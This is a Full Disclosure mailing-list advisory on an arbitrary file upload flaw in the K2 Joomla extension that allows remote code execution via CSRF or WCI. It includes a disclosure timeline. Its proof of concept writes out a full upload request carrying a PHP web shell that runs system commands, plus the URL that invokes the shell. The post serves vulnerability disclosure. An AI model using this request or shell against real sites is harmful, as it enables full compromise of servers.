[<prev] [next>] [day] [month] [year] [list]
Message-ID: <707f7dc5-a140-5804-25c5-919c1f621782@gmail.com>
Date: Sat, 19 Nov 2016 18:10:42 +0200
From: Anti Räis <antirais@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Joomla plugin K2 RCE via CSRF or WCI
K2 RCE via CSRF or WCI
######################
Information
===========
Name: K2 Joomla! Extension 2.5.0 - 2.7.1
Software: K2
Platform: Joomla 3.6.2
Homepage: https://getk2.org/, http://extensions.joomla.org/extension/k2
Vulnerability: RCE, arbitrary file upload, missing CSRF protection
Prerequisites: victim has to be authenticated user with administrator role
CVE: pending
Credit: Anti Räis
HTML version: https://bitflipper.eu
Product
=======
K2 is a Joomla! extension for complete replacement of the default
article system, which is used to edit the Joomla administration panel
and the website.
Description
===========
The administrator panel of K2 suffers from arbitrary file upload which
leads to arbitrary PHP code execution. An attacker could trick an
administrator to upload a malicious file (PHP shell) and execute
arbitrary PHP code using it. This functionality is available by default
to users with administrator role (admin, super user), therefore limiting
the attack surface to authenticated administrator users. The file upload
functionality isn't protected by CSRF token, which makes it possible to
exploit it by constructing a malicious request, which on execution
exploits the vulnerability, while the victim visits the attacker
controlled site. In addition, the attacker can use a WCI vulnerability
on the site to exploit the arbitrary file upload vulnerability.
Successful exploitation could lead to full site compromise.
Proof of Concept
================
Presumption: attacker has access to Joomla administrator account; or
uses an CSRF attack; or uses a WCI to upload a PHP shell and execute code.
Let's presume the attacker has access to an account with file upload
privilege. Files can be uploaded by using the K2 "Media manager"
functionality.
URL: http://victim.site/administrator/index.php?option=com_k2&view=media
==================== request ========================
POST /administrator/index.php?option=com_k2&view=media&task=connector
HTTP/1.1
Host: victim.site
Content-Length: 460
Origin: http://victim.site
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryxyHoCnAa7sl8Av8n
Cookie: sessionid=3m5hjeiuclg0hpeqz07yy2vn39hwlndk;
csrftoken=e326M8wbFD4Z5fiQ89UajJIz9L3QK0w71ox3FvPiEVefZ6iPEBP162DLTVcp73D1;
9d4bb4a09f511681369671a08beff228=4chd10bifo542nu9cmlicee567;
7d0782cfab13fd2c5bf432df1a61714f=dr59cn2pmetrrphhg4an3rgsl2;
9f18fe26c0ec633377140bd52b70b80d=edvlrnur4a6pnk8r77jujrdtr0;
joomla_user_state=logged_in;
joomla_remember_me_f7811899bb3aee4b5b1c3a1f45a0a1a4=GZFvw90iVyObqNeS.pPmGLqZavgPnnwRqz3QW
Connection: close
------WebKitFormBoundaryxyHoCnAa7sl8Av8n
Content-Disposition: form-data; name="cmd"
upload
------WebKitFormBoundaryxyHoCnAa7sl8Av8n
Content-Disposition: form-data; name="target"
l1_Lw
------WebKitFormBoundaryxyHoCnAa7sl8Av8n
Content-Disposition: form-data; name="upload[]"; filename="sh.php"
Content-Type: application/x-php
<pre><?php if(isset($_REQUEST['x'])){echo system($_REQUEST['x']);}?></pre>
------WebKitFormBoundaryxyHoCnAa7sl8Av8n--
==================== request end ====================
Parameter "target" specifies the "root" directory for the "Media
manager" and is the same across installations (same version; not tested
with older ones). PHP and other files starting with a dot (e.g
".htacces") are hidden, but are accessible directly. File is uploaded in
the "images" folder and can be directly accessed.
URL to execute PHP shell:
http://victim.site/images/sh.php?x=ls%20-lah
Timeline
========
* 06.08.2016 | me > developer | vulnerability discovered and initial contact
* 08.08.2016 | me > developer | sent the report to the developers
* 10.08.2016 | developer > me | issue acknowledged
* 10.08.2016 | me > DWF | CVE request - no response
* 11.08.2016 | developer > me | inadequate fix: update elFinder plugin;
responded with bypass
* 12.08.2016 | developer > me | inadequate fix: changed elFinder plugin
configuration
* 15.08.2016 | me > developer | responded with bypass
* 17.08.2016 | developer > me | inadequate fix: added CSRF protection
* 17.08.2016 | me > developer | responded with PoC#2 which uses WCI to
exploit RCE
* 25.08.2016 | me > developer | asked for fix timeline
* 26.08.2016 | developer > me | responded with time estimation
* 27.08.2016 | me > developer | reminded that target site is exploitable
when combined with WCI vulnerability
* 20.09.2016 | me > developer | no patch available; contacted developer
about the release status - no feedback
* 11.10.2016 | me > developer | no patch available; contacted developer
about the progress - no feedback
* 19.11.2016 | me > public | full disclosure
---
Anti Räis
Blog: https://bitflipper.eu
Pentester at http://www.clarifiedsecurity.com
Download attachment "signature.asc" of type "application/pgp-signature" (820 bytes)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
Powered by blists - more mailing lists